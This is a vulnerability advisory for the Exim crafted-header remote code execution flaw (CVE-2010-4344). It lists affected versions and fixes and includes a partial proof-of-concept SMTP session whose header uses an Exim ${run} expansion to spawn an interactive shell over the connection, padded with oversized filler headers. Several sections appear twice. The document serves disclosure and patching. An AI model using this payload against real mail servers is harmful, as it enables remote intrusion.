Exim Crafted Header Remote Code Execution Vulnerability
BID:45308
Info
Exim Crafted Header Remote Code Execution Vulnerability
| Bugtraq ID: | 45308 |
| Class: | Unknown |
| CVE: |
CVE-2010-4344 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 07 2010 12:00AM |
| Updated: | Jan 28 2014 02:44PM |
| Credit: | Sergey Kononenko |
| Vulnerable: |
University of Cambridge Exim 4.60 University of Cambridge Exim 4.52 University of Cambridge Exim 4.43 University of Cambridge Exim 4.42 University of Cambridge Exim 4.41 University of Cambridge Exim 4.40 University of Cambridge Exim 4.34 University of Cambridge Exim 4.33 University of Cambridge Exim 4.32 University of Cambridge Exim 4.21 University of Cambridge Exim 4.20 University of Cambridge Exim 4.10 University of Cambridge Exim 3.952 University of Cambridge Exim 3.36 University of Cambridge Exim 3.35 University of Cambridge Exim 3.34 University of Cambridge Exim 3.33 University of Cambridge Exim 3.32 University of Cambridge Exim 3.31 University of Cambridge Exim 3.30 University of Cambridge Exim 3.22 University of Cambridge Exim 3.21 University of Cambridge Exim 3.20 University of Cambridge Exim 3.19 University of Cambridge Exim 3.18 University of Cambridge Exim 3.17 University of Cambridge Exim 3.16 University of Cambridge Exim 3.15 University of Cambridge Exim 3.14 University of Cambridge Exim 3.13 University of Cambridge Exim 3.12 University of Cambridge Exim 3.11 University of Cambridge Exim 3.3 2 University of Cambridge Exim 3.3 1 University of Cambridge Exim 3.3 University of Cambridge Exim 3.0 x University of Cambridge Exim 3.0 University of Cambridge Exim 2.0 x University of Cambridge Exim 1.6.51 University of Cambridge Exim 1.6.2 University of Cambridge Exim 4.69 University of Cambridge Exim 4.66 SuSE openSUSE 11.3 S.u.S.E. openSUSE 11.2 S.u.S.E. openSUSE 11.1 RedHat Enterprise Linux WS 4 RedHat Enterprise Linux ES 4.7.z RedHat Enterprise Linux ES 4 RedHat Enterprise Linux Desktop version 4 RedHat Enterprise Linux 5.3.z server Red Hat Enterprise Linux Desktop 5 client Red Hat Enterprise Linux AS 4.7.z Red Hat Enterprise Linux AS 4 Red Hat Enterprise Linux 5.4.z server Red Hat Enterprise Linux 5 Server Gentoo Linux Debian Linux 5.0 sparc Debian Linux 5.0 s/390 Debian Linux 5.0 powerpc Debian Linux 5.0 mipsel Debian Linux 5.0 mips Debian Linux 5.0 m68k Debian Linux 5.0 ia-64 Debian Linux 5.0 ia-32 Debian Linux 5.0 hppa Debian Linux 5.0 armel Debian Linux 5.0 arm Debian Linux 5.0 amd64 Debian Linux 5.0 alpha Debian Linux 5.0 cPanel cPanel 0 Avaya Aura System Manager 6.1.3 Avaya Aura System Manager 6.1.2 Avaya Aura System Manager 6.1.1 Avaya Aura System Manager 6.1 SP2 Avaya Aura System Manager 6.1 Sp1 Avaya Aura System Manager 6.1 |
| Not Vulnerable: |
University of Cambridge Exim 4.72 University of Cambridge Exim 4.70 University of Cambridge Exim 4.69-26 University of Cambridge Exim 4.63-5 |
Discussion
Exim Crafted Header Remote Code Execution Vulnerability
Exim is prone to a remote code-execution vulnerability.
Attackers can exploit this issue to execute code as the 'exim' user. Attackers can leverage this issue to launch further attacks.
Versions prior to Exim 4.70 are vulnerable.
Exim is prone to a remote code-execution vulnerability.
Attackers can exploit this issue to execute code as the 'exim' user. Attackers can leverage this issue to launch further attacks.
Versions prior to Exim 4.70 are vulnerable.
Exploit / POC
Exim Crafted Header Remote Code Execution Vulnerability
An attacker uses readily available tools to exploit the issue.
The following partial example is available:
EHLO mail.example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
MAILbombhdr0001: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0
....
MAILbombhdr0054: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0m
HeaderX: ${run{/bin/sh -c 'exec /bin/sh -i <&3 >&0 2>&0'}}${run{/bin/sh -c 'exec /bin/sh -i <&4 >&0 2>&0'}}........
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
..........
about 700000 the same strings
..........
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
MAILbombMAILb
The following exploit code is available:
An attacker uses readily available tools to exploit the issue.
The following partial example is available:
EHLO mail.example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
MAILbombhdr0001: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0
....
MAILbombhdr0054: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0mbM4iLB0m
HeaderX: ${run{/bin/sh -c 'exec /bin/sh -i <&3 >&0 2>&0'}}${run{/bin/sh -c 'exec /bin/sh -i <&4 >&0 2>&0'}}........
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
..........
about 700000 the same strings
..........
MAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbombMAILbomb
MAILbombMAILb
The following exploit code is available:
Solution / Fix
Exim Crafted Header Remote Code Execution Vulnerability
Solution:
Updates are available. Please see the references for more information.
Solution:
Updates are available. Please see the references for more information.
References
Exim Crafted Header Remote Code Execution Vulnerability
References:
References:
- [exim-dev] Remote root vulnerability in Exim (Sergey Kononenko)
- Exim Homepage (Exim)
- Exim Remote Memory Corruption Vulnerability Notification (CVE-2010-4344) (cPanel)
- Exim4 bug (HD Moore)
- Exim security issue in historical release ([email protected])
- ASA-2010-369 exim security update (RHSA-2010-0970) (Avaya)
- Avaya Security Advisory ASA-2010-369 (Avaya)
- VU#682457 Exim string_format() buffer overflow (US-CERT)